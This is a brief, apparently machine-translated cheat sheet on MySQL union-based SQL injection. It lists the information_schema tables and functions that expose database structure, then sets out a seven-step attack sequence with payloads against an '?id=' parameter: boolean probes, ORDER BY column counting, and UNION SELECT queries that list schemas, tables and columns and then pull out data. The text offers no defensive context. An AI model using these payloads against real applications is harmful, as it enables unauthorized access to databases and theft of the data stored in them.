MySQL database structure:
Database A--table name--and column name--Data
Database B--and table--and column--data
MySQL Database information:
MySQL more than 5.0 self-brought database: Information_schema
Information_schema.schemata: The schemata library name under the database, meaning: A table that stores the library name information under all databases.
Information_schema.tables: The tables table name under the database, meaning: A table that stores table name information for all databases.
Information_schema.columns: The columns table name under the database, meaning: A table that stores column name information for all databases.
Database (): DB name
User (): Database Users
Version (): Database version
@ @version_compile_os: Operating system
Table_schema: Database name
TABLE_NAME: Table name
COLUMN_NAME: Column Name
MySQL Injection process:
(1) Judgment injection point:? id=1 and 1=1;? Id=1 and 1=2
(2) Judging length:? id=1 ORDER BY 3
(3) Get basic information: @ @version_compile_os, version (), database (), User ()
(4) Get the library name:? id=1 Union Select table_schema,2,3 from Information_schema.schemata
(5) Get the table name:? id=1 Union Select table_name,2,3 from information_schema.tables where Table_schema = library name [16 binary]
(6) Get column name:? id=1 Union Select column_name,2,3 from information_schema.columns where Table_schema = library name [16 binary]
and table_name = table name [16 binary]
(7) Get Data: id=1 Union Select column name [16 binary], column name [16],3 from table name [16 binary]
SQL injection--mysql